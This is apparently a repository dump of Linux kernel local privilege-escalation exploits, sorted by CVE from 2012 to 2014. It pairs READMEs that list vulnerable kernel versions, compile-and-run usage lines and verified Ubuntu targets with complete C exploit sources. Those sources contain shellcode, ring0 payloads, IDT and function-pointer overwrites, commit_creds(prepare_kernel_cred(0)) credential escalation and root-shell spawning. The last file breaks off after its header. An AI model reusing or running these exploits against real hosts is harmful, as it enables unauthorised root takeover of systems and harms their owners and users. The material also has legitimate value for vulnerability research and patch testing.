"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.\n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char pid[32];
sprintf(pid, "%d", parent_pid);
printf("[+] Executing child from child fork.\n");
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
}
}

View File

@ -0,0 +1,18 @@
# CVE-2012-0056
CVE-2012-0056
Vulnerability reference:
* [CVE-2012-0056](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0056)
* [exp-db](http://www.exploit-db.com/exploits/18411/)
## Kernels
```
2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0
```
### This binary has been verified on:
- Ubuntu 11.10 - 3.0.0-12-generic-pae #20-Ubuntu x86_32
- Ubuntu 11.10 - 3.0.0-12-server #20-Ubuntu x86_64

Binary file not shown.

Binary file not shown.

171
2013/CVE-2013-0268/27297.c Normal file
View File

@ -0,0 +1,171 @@
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released. Not even a bugtraq entry existed in
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
// https://twitter.com/grsecurity/status/298977370776432640
// https://twitter.com/grsecurity/status/297365303095078912
// https://twitter.com/grsecurity/status/297189488638181376
// https://twitter.com/grsecurity/status/297030133628416000
// https://twitter.com/grsecurity/status/297029470072745984
// https://twitter.com/grsecurity/status/297028324134359041
//
// spender 2013
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>
#define SYSENTER_EIP_MSR 0x176
u_int64_t msr;
unsigned long ourstack[65536];
u_int64_t payload_data[16];
extern void *_ring0;
extern void *_ring0_end;
void ring0(void)
{
__asm volatile(".globl _ring0\n"
"_ring0:\n"
".intel_syntax noprefix\n"
".code64\n"
// set up stack pointer with 'ourstack'
"mov esp, ecx\n"
// save registers, contains the original MSR value
"push rax\n"
"push rbx\n"
"push rcx\n"
"push rdx\n"
// play with the kernel here with interrupts disabled!
"mov rcx, qword ptr [rbx+8]\n"
"test rcx, rcx\n"
"jz skip_write\n"
"mov dword ptr [rcx], 0\n"
"skip_write:\n"
// restore MSR value before returning
"mov ecx, 0x176\n" // SYSENTER_EIP_MSR
"mov eax, dword ptr [rbx]\n"
"mov edx, dword ptr [rbx+4]\n"
"wrmsr\n"
"pop rdx\n"
"pop rcx\n"
"pop rbx\n"
"pop rax\n"
"sti\n"
"sysexit\n"
".code32\n"
".att_syntax prefix\n"
".global _ring0_end\n"
"_ring0_end:\n"
);
}
unsigned long saved_stack;
int main(int argc, char *argv[])
{
cpu_set_t set;
int msr_fd;
int ret;
u_int64_t new_msr;
struct sched_param sched;
u_int64_t resolved_addr = 0ULL;
if (argc == 2)
resolved_addr = strtoull(argv[1], NULL, 16);
/* can do this without privilege */
mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
mlock(&payload_data, sizeof(payload_data));
CPU_ZERO(&set);
CPU_SET(0, &set);
sched.sched_priority = 99;
ret = sched_setscheduler(0, SCHED_FIFO, &sched);
if (ret) {
fprintf(stderr, "Unable to set priority.\n");
exit(1);
}
ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
if (ret) {
fprintf(stderr, "Unable to set affinity.\n");
exit(1);
}
msr_fd = open("/dev/cpu/0/msr", O_RDWR);
if (msr_fd < 0) {
msr_fd = open("/dev/msr0", O_RDWR);
if (msr_fd < 0) {
fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
exit(1);
}
}
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
ret = read(msr_fd, &msr, sizeof(msr));
if (ret != sizeof(msr)) {
fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
exit(1);
}
// stuff some addresses in a buffer whose address we
// pass to the "kernel" via register
payload_data[0] = msr;
payload_data[1] = resolved_addr;
printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
fflush(stdout);
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
new_msr = (u_int64_t)(unsigned long)&_ring0;
printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
fflush(stdout);
ret = write(msr_fd, &new_msr, sizeof(new_msr));
if (ret != sizeof(new_msr)) {
fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
exit(1);
}
__asm volatile(
".intel_syntax noprefix\n"
".code32\n"
"mov saved_stack, esp\n"
"lea ecx, ourstack\n"
"lea edx, label2\n"
"lea ebx, payload_data\n"
"sysenter\n"
"label2:\n"
"mov esp, saved_stack\n"
".att_syntax prefix\n"
);
printf("Success.\n");
return 0;
}

View File

@ -0,0 +1,18 @@
# CVE-2013-0268
CVE-2013-0268
Vulnerability reference:
* [CVE-2013-0268](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0268)
* [exp-db](https://www.exploit-db.com/exploits/27297/)
## Kernels
```
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6
```
## Usage
```
$ gcc msr.c -o msr
$ ./msr
```

View File

@ -0,0 +1,29 @@
# CVE-2013-2094
CVE-2013-2094
Vulnerability reference:
* [CVE-2013-2094](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2094)
## Kernels
```
3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9
```
## Usage
```
$ gcc vnik.c -O2 -o vnik
$ uname -r
3.2.0-23-generic
$ ./vnik 0
```
### This binary has been verified on:
- Ubuntu 12.04.0 - Linux ubuntu 3.2.0-23-generic #36-Ubuntu x86_64
- Ubuntu 12.04.1 - Linux ubuntu 3.2.0-29-generic #46-Ubuntu x86_64
- Ubuntu 12.04.2 - Linux ubuntu 3.5.0-23-generic #35-Ubuntu x86_64

Binary file not shown.

View File

@ -0,0 +1,282 @@
/*
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
* by sorbo (sorbo@darkircop.org) June 2013
*
* Based on sd's exploit. Supports more targets.
*
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>
#define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000
#define TMP(x) (0xdeadbeef + (x))
struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed));
static int _fd;
static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc;
// printf("perf open %lx [%d]\n", off, (int) off);
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = 1;
attr.comm = 1;
attr.exclude_kernel = 1;
rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
return rc;
}
void __sc_start(void);
void __sc_next(void);
void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
}
void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
uint64_t kbase = ((uint64_t)current) >> 36;
int uid = TMP(1);
int gid = TMP(2);
for (i = 0; i < 4000; i += 4) {
uint64_t *p = (void *) &current[i];
uint32_t *cred = (uint32_t*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
continue;
for (j = 0; j < 20; j++) {
if (cred[j] == uid && cred[j + 1] == gid) {
for (i = 0; i < 8; i++) {
cred[j + i] = 0;
return;
}
}
}
}
}
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p;
p = memmem(sc, 900, &needle, sizeof(needle));
if (!p)
errx(1, "can't find %x", needle);
memcpy(p, &val, sizeof(val));
}
static void *map_mem(uint64_t addr)
{
void *p;
p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (p == MAP_FAILED)
err(1, "mmap()");
return p;
}
static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem;
for (i = 0; i < SIZE; i++) {
if (p[i] == c)
return i;
}
return -1;
}
static void dropshell()
{
if (setuid(0) != 0)
errx(1, "failed");
printf("Launching shell\n");
execl("/bin/sh", "sh", NULL);
exit(0);
}
void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
}
static void trigger(int intr)
{
switch (intr) {
case 0:
do {
int z = 1;
int a = 1;
z--;
a /= z;
} while (0);
break;
case 4:
asm("int $4");
break;
case 0x80:
asm("int $0x80");
break;
default:
errx(1, "unknown intr %d", intr);
}
sleep(3);
}
int main(int argc, char *argv[])
{
uint32_t *p[2];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = 4;
int intr = 4;
printf("Searchin...\n");
p[0] = map_mem(BASE);
p[1] = map_mem(BASE_JUMP);
memset(p[1], 0x69, SIZE);
off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd);
i = find_mem(p[0], 0xff);
if (i == -1) {
i = find_mem(p[1], 0x68);
if (i == -1)
errx(1, "Can't find overwrite");
sz = 24;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
}
munmap(p[0], SIZE);
munmap(p[1], SIZE);
addr += i;
addr -= off * sz;
printf("perf_swevent_enabled is at 0x%lx\n", addr);
asm("sidt %0" : "=m" (idt));
printf("IDT at 0x%lx\n", idt.addr);
off = addr - idt.addr;
off -= 8;
switch (off % sz) {
case 0:
intr = 0;
break;
case 8:
intr = 0x80;
break;
case 16:
intr = 4;
break;
default:
errx(1, "remainder %d", off % sz);
}
printf("Using interrupt %d\n", intr);
off -= 16 * intr;
assert((off % sz) == 0);
off /= sz;
off = -off;
// printf("Offset %lx\n", off);
kbase = (uint8_t*) (idt.addr & 0xFF000000);
printf("Shellcode at %p\n", kbase);
if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
err(1, "mmap()");
memset(kbase, 0x90, KSIZE);
kbase += KSIZE - 1024;
i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, 900);
sc_replace(kbase, TMP(1), getuid());
sc_replace(kbase, TMP(2), getgid());
signal(SIGALRM, morte);
alarm(2);
printf("Triggering sploit\n");
_fd = perf_open(off);
trigger(intr);
exit(0);
}

Binary file not shown.

View File

@ -0,0 +1,133 @@
/**
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
* by Vitaly Nikolenko (vnik5287@gmail.com)
*
* based on semtex.c by sd
*
* Supported targets:
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
*
* $ gcc vnik.c -O2 -o vnik
*
* $ uname -r
* 3.2.0-23-generic
*
* $ ./vnik 0
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x1780000000
#define SIZE 0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
uint64_t targets[3][3] =
{{0xffffffff81ef67e0, // perf_swevent_enabled
0xffffffff81091630, // commit_creds
0xffffffff810918e0}, // prepare_kernel_cred
{0xffffffff81ef67a0,
0xffffffff81091220,
0xffffffff810914d0},
{0xffffffff81ef5940,
0xffffffff8107ee30,
0xffffffff8107f0c0}
};
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)AB(1);
// restore the handler
*fixptr = -1;
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
void trigger(uint32_t off) {
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert( !close(fd) );
}
int main(int argc, char **argv) {
uint64_t off64, needle, kbase, *p;
uint8_t *code;
uint32_t int_n, j = 5, target = 1337;
int offset = 0;
void *map;
assert(argc == 2 && "target?");
assert( (target = atoi(argv[1])) < 3 );
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// mmap user-space block so we don't page fault
// on sw_perf_event_destroy
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
asm volatile("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
printf("IDT addr = 0x%lx\n", idt.addr);
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
// can only play with interrupts 3, 4 and 0x80
for (int_n = 3; int_n <= 0x80; int_n++) {
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
int off32 = off64;
if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
offset = off32;
goto out;
}
}
if (int_n == 4) {
// shit, let's try 0x80 if the kernel is compiled with
// CONFIG_IA32_EMULATION
int_n = 0x80 - 1;
}
}
out:
assert(offset);
printf("Using int = %d with offset = %d\n", int_n, offset);
for (j = 0; j < 3; j++) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
trigger(offset);
switch (int_n) {
case 3:
asm volatile("int $0x03");
break;
case 4:
asm volatile("int $0x04");
break;
case 0x80:
asm volatile("int $0x80");
}
assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}

199
2014/CVE-2014-0038/31346.c Normal file
View File

@ -0,0 +1,199 @@
/*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
* if the original byte at that address is known it can be overwritten
* with known data.
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
*
* Restrictions: The first long at the passed address (tv_sec) has to be positive
* and the second long (tv_nsec) has to be smaller than 1000000000.
*
* Overview: Target the release function pointer of the ptmx_fops structure located in
* non initialized (and thus writable) kernel memory. Zero out the three most
* significant bytes and thus turn it into a pointer to an address mappable in
* user space.
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
* is valid).
* Open /dev/ptmx, close it and enjoy.
*
* Not very beautiful but should be fairly reliable if symbols can be resolved.
*
* Tested on Ubuntu 13.10
*
* gcc timeoutpwn.c -o pwn && ./pwn
*
* Written by saelo
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8
/*
* Adapt these addresses for your need.
* see /boot/System.map* or /proc/kallsyms
* These are the offsets from ubuntu 3.11.0-12-generic.
*/
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/*
* Match signature of int release(struct inode*, struct file*).
*
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
*/
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
commit_creds(prepare_kernel_cred(0));
return -1;
}
/*
* Write a zero to the byte at then given address.
* Only works if the current value is 0xff.
*/
void zero_out(long addr)
{
int sockfd, retval, port, pid, i;
struct sockaddr_in sa;
char buf[BUFSIZE];
struct mmsghdr msgs;
struct iovec iovecs;
srand(time(NULL));
port = 1024 + (rand() % (0x10000 - 1024));
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(EXIT_FAILURE);
}
memset(&msgs, 0, sizeof(msgs));
iovecs.iov_base = buf;
iovecs.iov_len = BUFSIZE;
msgs.msg_hdr.msg_iov = &iovecs;
msgs.msg_hdr.msg_iovlen = 1;
/*
* start a seperate process to send a udp message after 255 seconds so the syscall returns,
* but not after updating the timout struct and writing the remaining time into it.
* 0xff - 255 seconds = 0x00
*/
printf("clearing byte at 0x%lx\n", addr);
pid = fork();
if (pid == 0) {
memset(buf, 0x41, BUFSIZE);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
printf("waiting 255 seconds...\n");
for (i = 0; i < 255; i++) {
if (i % 10 == 0)
printf("%is/255s\n", i);
sleep(1);
}
printf("waking up parent...\n");
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
exit(EXIT_SUCCESS);
} else if (pid > 0) {
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
if (retval == -1) {
printf("address can't be written to, not a valid timespec struct\n");
exit(EXIT_FAILURE);
}
waitpid(pid, 0, 0);
printf("byte zeroed out\n");
} else {
perror("fork()");
exit(EXIT_FAILURE);
}
}
int main(int argc, char** argv)
{
long code, target;
int pwn;
/* Prepare payload... */
printf("preparing payload buffer...\n");
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset((void*)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE - 1024;
memcpy((void*)code, &kernel_payload, 1024);
/*
* Now clear the three most significant bytes of the fops pointer
* to the release function.
* This will make it point into the memory region mapped above.
*/
printf("changing kernel pointer to point into controlled buffer...\n");
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);
/* ... and trigger. */
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
pwn = open("/dev/ptmx", 'r');
close(pwn);
if (getuid() != 0) {
printf("failed to get root :(\n");
exit(EXIT_FAILURE);
}
printf("got root, enjoy :)\n");
return execl("/bin/bash", "-sh", NULL);
}

View File

@ -0,0 +1,23 @@
# CVE-2014-0038
CVE-2014-0038
Vulnerability reference:
* [CVE-2014-0038](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0038)
* [exp-db](https://www.exploit-db.com/exploits/31347/)
* [exp-db](https://www.exploit-db.com/exploits/31346/)
## Kernels
```
3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
```
## Usage
```
$ gcc timeoutpwn.c -o pwn && ./pwn
```
### This binary has been verified on:
- Ubuntu 13.10 - Linux ubuntu 3.11.0-12-generic #19-Ubuntu x86_64

Binary file not shown.

View File

@ -0,0 +1,22 @@
# CVE-2014-0196
CVE-2014-0196
Vulnerability reference:
* [CVE-2014-0196](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0196)
* [exp-db](https://www.exploit-db.com/exploits/33516/)
## Kernels
```
2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15
```
## Usage
```
$ gcc cve-2014-0196-md.c -lutil -lpthread
$ ./a.out
```
## References
* [cve-2014-0196-md.c](https://dl.packetstormsecurity.net/1405-exploits/cve-2014-0196-md.c)

View File

@ -0,0 +1,222 @@
/*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
* condition
*
* Slightly-less-than-POC privilege escalation exploit
* For kernels >= v3.14-rc1
*
* Matthew Daley <mattd@bugfuzz.com>
*
* Usage:
* $ gcc cve-2014-0196-md.c -lutil -lpthread
* $ ./a.out
* [+] Resolving symbols
* [+] Resolved commit_creds: 0xffffffff81056694
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
* [+] Doing once-off allocations
* [+] Attempting to overflow into a tty_struct...............
* [+] Got it :)
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
* chance that the overflow will go off the end of a slab. This does not
* necessarily lead to an immediate kernel crash, but you should be prepared
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
* avoidable by reading /proc/slabinfo on systems where it is still available
* to unprivileged users.
*
* Caveat: The vulnerability should be exploitable all the way from
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
* exploit relies on.
*
* Thanks to Jon Oberheide for his help on exploitation technique.
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
#define TTY_MAGIC 0x5401
#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30
struct device;
struct tty_driver;
struct tty_operations;
typedef struct {
int counter;
} atomic_t;
struct kref {
atomic_t refcount;
};
struct tty_struct_header {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
} overwrite;
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;
int payload(void) {
commit_creds(prepare_kernel_cred(0));
return 0;
}
unsigned long get_symbol(char *target_name) {
FILE *f;
unsigned long addr;
char dummy;
char name[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL)
return 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
if (ret == 0) {
fscanf(f, "%s\n", name);
continue;
}
if (!strcmp(name, target_name)) {
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
fclose(f);
return addr;
}
}
printf("[-] Couldn't resolve \"%s\"\n", name);
fclose(f);
return 0;
}
void *overwrite_thread_fn(void *p) {
write(slave_fd, buf, 511);
write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
write(slave_fd, &overwrite, sizeof(overwrite));
}
int main() {
char scratch[1024] = {0};
void *tty_operations[64];
int i, temp_fd_1, temp_fd_2;
for (i = 0; i < 64; ++i)
tty_operations[i] = payload;
overwrite.magic = TTY_MAGIC;
overwrite.kref.refcount.counter = 0x1337;
overwrite.dev = (struct device *)scratch;
overwrite.driver = (struct tty_driver *)scratch;
overwrite.ops = (struct tty_operations *)tty_operations;
puts("[+] Resolving symbols");
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
if (!commit_creds || !prepare_kernel_cred)
return 1;
puts("[+] Doing once-off allocations");
for (i = 0; i < ONEOFF_ALLOCS; ++i)
if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
puts("[-] pty creation failed");
return 1;
}
printf("[+] Attempting to overflow into a tty_struct...");
fflush(stdout);
for (i = 0; ; ++i) {
struct termios t;
int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
pthread_t overwrite_thread;
if (!(i & 0xfff)) {
putchar('.');
fflush(stdout);
}
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
puts("\n[-] pty creation failed");
return 1;
}
for (j = 0; j < RUN_ALLOCS; ++j)
if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
puts("\n[-] pty creation failed");
return 1;
}
close(fds[RUN_ALLOCS / 2]);
close(fds2[RUN_ALLOCS / 2]);
write(slave_fd, buf, 1);
tcgetattr(master_fd, &t);
t.c_oflag &= ~OPOST;
t.c_lflag |= ECHO;
tcsetattr(master_fd, TCSANOW, &t);
if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
puts("\n[-] Overwrite thread creation failed");
return 1;
}
write(master_fd, "A", 1);
pthread_join(overwrite_thread, NULL);
for (j = 0; j < RUN_ALLOCS; ++j) {
if (j == RUN_ALLOCS / 2)
continue;
ioctl(fds[j], 0xdeadbeef);
ioctl(fds2[j], 0xdeadbeef);
close(fds[j]);
close(fds2[j]);
}
ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);
close(master_fd);
close(slave_fd);
if (!setresuid(0, 0, 0)) {
setresgid(0, 0, 0);
puts("\n[+] Got it :)");
execl("/bin/bash", "/bin/bash", NULL);
}
}
}

701
2014/CVE-2014-3153/35370.c Normal file
View File

@ -0,0 +1,701 @@
/*
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
* By Kaiqu Chen ( kaiquchen@163.com )
* Based on libfutex and the expoilt for Android by GeoHot.
*
* Usage:
* $gcc exploit.c -o exploit -lpthread
* $./exploit
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define USER_PRIO_BASE 120
#define LOCAL_PORT 5551
#define SIGNAL_HACK_KERNEL 12
